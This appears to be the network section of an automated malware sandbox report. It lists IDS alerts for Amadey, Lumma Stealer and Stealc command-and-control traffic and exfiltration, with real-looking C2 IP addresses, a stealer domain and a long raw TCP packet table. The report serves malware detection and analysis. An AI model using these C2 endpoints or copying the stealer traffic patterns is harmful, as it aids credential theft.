2024-12-09T23:09:05.760341+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49758	185.215.113.43	80	TCP
2024-12-09T23:09:10.210118+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49770	185.215.113.16	80	TCP
2024-12-09T23:09:14.651408+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.4	57488	1.1.1.1	53	UDP
2024-12-09T23:09:15.862202+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49764	TCP
2024-12-09T23:09:16.121917+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49781	104.21.48.1	443	TCP
2024-12-09T23:09:16.121917+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49781	104.21.48.1	443	TCP
2024-12-09T23:09:17.108244+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49781	104.21.48.1	443	TCP
2024-12-09T23:09:17.108244+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49781	104.21.48.1	443	TCP
2024-12-09T23:09:17.213328+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49787	185.215.113.43	80	TCP
2024-12-09T23:09:18.382928+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49790	104.21.48.1	443	TCP
2024-12-09T23:09:18.382928+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49790	104.21.48.1	443	TCP
2024-12-09T23:09:18.678022+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49791	185.215.113.16	80	TCP
2024-12-09T23:09:19.122038+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49790	104.21.48.1	443	TCP
2024-12-09T23:09:19.122038+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49790	104.21.48.1	443	TCP
2024-12-09T23:09:20.710128+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49800	104.21.48.1	443	TCP
2024-12-09T23:09:20.710128+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49800	104.21.48.1	443	TCP
2024-12-09T23:09:23.068929+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49806	104.21.48.1	443	TCP
2024-12-09T23:09:23.068929+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49806	104.21.48.1	443	TCP
2024-12-09T23:09:23.978093+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49806	104.21.48.1	443	TCP
2024-12-09T23:09:25.467841+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49813	185.215.113.43	80	TCP
2024-12-09T23:09:25.594206+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49807	185.215.113.206	80	TCP
2024-12-09T23:09:25.602980+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49814	104.21.48.1	443	TCP
2024-12-09T23:09:25.602980+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49814	104.21.48.1	443	TCP
2024-12-09T23:09:26.921965+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49815	185.215.113.16	80	TCP
2024-12-09T23:09:28.738776+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49821	104.21.48.1	443	TCP
2024-12-09T23:09:28.738776+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49821	104.21.48.1	443	TCP
2024-12-09T23:09:29.565343+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49827	104.21.48.1	443	TCP
2024-12-09T23:09:29.565343+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49827	104.21.48.1	443	TCP
2024-12-09T23:09:30.415077+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49827	104.21.48.1	443	TCP
2024-12-09T23:09:30.415077+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49827	104.21.48.1	443	TCP
2024-12-09T23:09:31.795277+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49833	104.21.48.1	443	TCP
2024-12-09T23:09:31.795277+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49833	104.21.48.1	443	TCP
2024-12-09T23:09:31.873065+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49834	104.21.48.1	443	TCP
2024-12-09T23:09:31.873065+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49834	104.21.48.1	443	TCP
2024-12-09T23:09:32.484134+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49834	104.21.48.1	443	TCP
2024-12-09T23:09:32.484134+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49834	104.21.48.1	443	TCP
2024-12-09T23:09:32.623757+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49835	185.215.113.43	80	TCP
2024-12-09T23:09:34.050106+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49842	104.21.48.1	443	TCP
2024-12-09T23:09:34.050106+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49842	104.21.48.1	443	TCP
2024-12-09T23:09:34.076166+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49838	185.215.113.16	80	TCP
2024-12-09T23:09:36.781266+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49852	104.21.48.1	443	TCP
2024-12-09T23:09:36.781266+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49852	104.21.48.1	443	TCP
2024-12-09T23:09:39.172096+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49861	104.21.48.1	443	TCP
2024-12-09T23:09:39.172096+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49861	104.21.48.1	443	TCP
2024-12-09T23:09:39.884353+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49861	104.21.48.1	443	TCP
2024-12-09T23:09:40.181977+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49864	104.21.48.1	443	TCP
2024-12-09T23:09:40.181977+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49864	104.21.48.1	443	TCP
2024-12-09T23:09:41.348882+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49868	185.215.113.16	80	TCP
2024-12-09T23:09:42.038474+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49870	185.215.113.206	80	TCP
2024-12-09T23:09:42.735490+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49874	185.215.113.43	80	TCP
2024-12-09T23:09:43.332988+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49880	104.21.48.1	443	TCP
2024-12-09T23:09:43.332988+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49880	104.21.48.1	443	TCP
2024-12-09T23:09:46.291112+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49897	104.21.48.1	443	TCP
2024-12-09T23:09:46.291112+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49897	104.21.48.1	443	TCP
2024-12-09T23:09:47.484483+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49897	104.21.48.1	443	TCP
2024-12-09T23:09:48.316325+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49906	104.21.48.1	443	TCP
2024-12-09T23:09:48.316325+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49906	104.21.48.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 23:07:58.463933945 CET	49675	443	192.168.2.4	173.222.162.32
Dec 9, 2024 23:08:18.575922012 CET	49723	80	192.168.2.4	199.232.210.172
Dec 9, 2024 23:08:18.695621967 CET	80	49723	199.232.210.172	192.168.2.4
Dec 9, 2024 23:08:18.695682049 CET	49723	80	192.168.2.4	199.232.210.172
Dec 9, 2024 23:09:04.291348934 CET	49758	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:04.410717964 CET	80	49758	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:04.410823107 CET	49758	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:04.410979986 CET	49758	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:04.530726910 CET	80	49758	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:05.760262012 CET	80	49758	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:05.760340929 CET	49758	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:06.698720932 CET	49724	80	192.168.2.4	199.232.210.172
Dec 9, 2024 23:09:06.818586111 CET	80	49724	199.232.210.172	192.168.2.4
Dec 9, 2024 23:09:06.819924116 CET	49724	80	192.168.2.4	199.232.210.172
Dec 9, 2024 23:09:07.277916908 CET	49758	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:07.278079987 CET	49764	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:07.397413969 CET	80	49764	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:07.397488117 CET	49764	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:07.397635937 CET	49764	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:07.397659063 CET	80	49758	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:07.397715092 CET	49758	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:07.516880035 CET	80	49764	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:08.742427111 CET	80	49764	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:08.742503881 CET	49764	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:08.746618032 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:08.865885973 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:08.866043091 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:08.866079092 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:08.985394955 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.209919930 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.209989071 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.209999084 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.210118055 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.210118055 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.210146904 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.210195065 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.210207939 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.210220098 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.210230112 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.210243940 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.210247040 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.210264921 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.210285902 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.210591078 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.210601091 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.210634947 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.210660934 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.329412937 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.329463959 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.339821100 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.339829922 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.339895010 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.401949883 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.402019978 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.402044058 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.402086973 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.406153917 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.406203032 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.406338930 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.406379938 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.414458036 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.414505005 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.414619923 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.414657116 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.422821045 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.422872066 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.422899008 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.422946930 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.431165934 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.431241989 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.431267023 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.431308031 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.439555883 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.439610958 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.439727068 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.439773083 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.447946072 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.447999954 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.448055029 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.448098898 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.456278086 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.456336975 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.456414938 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.456459045 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.464710951 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.464761019 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.464780092 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.464821100 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.473058939 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.473124981 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.473143101 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.473190069 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.481291056 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.481348038 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.575548887 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.575613976 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.575753927 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.575753927 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.579651117 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.579710960 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.595392942 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.595403910 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.595416069 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.595482111 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.595513105 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.595544100 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.595554113 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.600018024 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.600111008 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.600245953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.600308895 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.604994059 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.605063915 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.605110884 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.605155945 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.609313011 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.609369040 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.609411955 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.609456062 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.613960028 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.614011049 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.614063025 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.614104986 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.618680000 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.618731976 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.618788004 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.618828058 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.626435041 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.626446009 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.626493931 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.626523018 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.629898071 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.629951954 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.630036116 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.630078077 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.636084080 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.636137009 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.636210918 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.636246920 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.639183998 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.639231920 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.639360905 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.639403105 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.641999960 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.642051935 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.642137051 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.642193079 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.646627903 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.646678925 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.646749973 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.646789074 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.651300907 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.651346922 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.651424885 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.651463985 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.656060934 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.656132936 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.656132936 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.656174898 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.660706043 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.660759926 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.660768986 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.660804033 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.665323973 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.665388107 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.665453911 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.665493965 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.670033932 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.670084000 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.670351028 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.670391083 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.674767971 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.674817085 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.674896002 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.674937963 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.767525911 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.767595053 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.767637014 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.767682076 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.769584894 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.769640923 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.769809961 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.769859076 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.773528099 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.773586988 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.787811041 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.787822008 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.787888050 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.789541960 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.789606094 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.790113926 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.790159941 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.790251970 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.790297031 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.793631077 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.793685913 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.793781996 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.793926001 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.797069073 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.797133923 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.797230005 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.797283888 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.800673008 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.800734997 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.800832033 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.800875902 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.803930044 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.803976059 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.804105997 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.804152012 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.807491064 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.807552099 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.807615995 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.807672024 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.810817003 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.810827971 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.810867071 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.810897112 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.814208984 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.814224958 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.814255953 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.814274073 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.815629005 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.815692902 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.815725088 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.815773964 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.819111109 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.819120884 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.819170952 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.822487116 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.822545052 CET	49770	80	192.168.2.4	185.215.113.16
